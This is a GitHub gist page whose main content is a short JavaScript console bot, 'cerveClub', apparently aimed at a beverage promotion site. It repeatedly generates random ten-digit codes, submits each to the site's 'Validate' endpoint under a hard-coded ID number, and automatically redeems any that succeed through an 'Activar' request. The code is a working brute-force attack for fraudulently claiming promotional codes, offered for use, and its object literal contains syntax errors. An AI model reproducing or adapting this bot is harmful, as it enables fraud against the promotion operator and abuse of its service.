Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
cerveClub
cerveClub = {
tries: 0,
keepRunning: true,
identification: "206730002",
fake_identification: "209992222",
valid_codes = [],
wait_miliseconds = 300
};
function pauseCerveClubBot() {
cerveClub.keepRunning = false;
}
async function continueCerveClubBot() {
cerveClub.keepRunning = true;
while(cerveClub.keepRunning) {
await cerveClubLoop();
}
}
// Code format is numberic of 10 digits.
function generateCode() {
return Math.floor((Math.random() * 9012847784) + 2031432374);
}
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function activateCodes() {
}
async function cerveClubLoop() {
console.clear();
cerveClub.tries++;
var code = generateCode();
$.post( "Validate", { id: cerveClub.identification, code: code} ).done(function( data ) {
if (!data.Success) return;
console.log("Valid Code Found!");
console.log(code);
cerveClub.valid_codes.push(code);
$.post( "Activar", { info: code + "_" + cerveClub.identification +"-" } );
});
console.log("cerveClub bot just tried: " + code + " as the try #" + cerveClub.tries);
console.log("Valid Codes Activated:", cerveClub.valid_codes);
await sleep(cerveClub.wait_miliseconds);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.